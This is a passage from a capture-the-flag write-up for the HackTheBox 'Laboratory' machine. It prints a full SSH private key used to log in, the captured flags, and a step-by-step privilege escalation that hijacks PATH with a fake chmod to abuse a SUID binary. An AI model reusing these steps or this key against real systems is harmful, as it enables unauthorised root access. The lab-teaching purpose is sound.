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
-----END OPENSSH PRIVATE KEY-----

I saved its contents to the dexter_priv_key file, granted the proper permissions and established an ssh session:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $chmod 400 ./dexter_priv_key 
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $ssh dexter@git.laboratory.htb -i dexter_priv_key

It remained to read the user flag:

dexter@laboratory:~$ cat user.txt
7f0691db1efb9d1feead843b480d13f0

6. Privilege Escalation: dexter ⇨ root

I again uploaded the linpeas.sh tool to the server:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $scp -i dexter_priv_key ./linpeas.sh dexter@git.laboratory.htb:/dev/shm/linpeas.sh
linpeas.sh                                                  100%  223KB 663.1KB/s   00:00

and launched them:

dexter@laboratory:/dev/shm$ chmod +x linpeas.sh 
dexter@laboratory:/dev/shm$ ./linpeas.sh

My attention was drawn to the process:

 20K -rwsr-xr-x 1 root dexter  17K Aug 28 14:52 /usr/local/bin/docker-security

Which had the SUID bit set.

I was unfamiliar with this program, and found no mention of it in the Docker documentation or on gtfobins. So I downloaded the file to my machine:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $scp -i ../dexter_priv_key dexter@laboratory.htb:/usr/local/bin/docker-security ./
docker-security                                             100%   16KB 149.5KB/s   00:00

The file was a 64-bit executable:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $file docker-security 
docker-security: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d466f1fb0f54c0274e5d05974e81f19dc1e76602, for GNU/Linux 3.2.0, not stripped

An analysis of the strings that occurred in the file revealed the possibility that the program used the chmod command:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $strings docker-security | grep chmod
chmod 700 /usr/bin/docker
chmod 660 /var/run/docker.sock

I confirmed this fact by running the cutter and disassembling the program:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $cutter docker-security

In fact, the chmod command call appeared twice in the main function:

Docker Security disas

So it remained to provide the program with the ability to make a better version of the chmod tool:

dexter@laboratory:/dev/shm$ echo /bin/bash > chmod
dexter@laboratory:/dev/shm$ chmod +x chmod
dexter@laboratory:/dev/shm$ export PATH=/dev/shm:$PATH
dexter@laboratory:/dev/shm$ /usr/local/bin/docker-security

And read the flag:

root@laboratory:/dev/shm# cat /root/root.txt
1ca8dc5e00c0a8fb955dd642b81f73eb

7. Summary

The following circumstances led to the capture of the flags: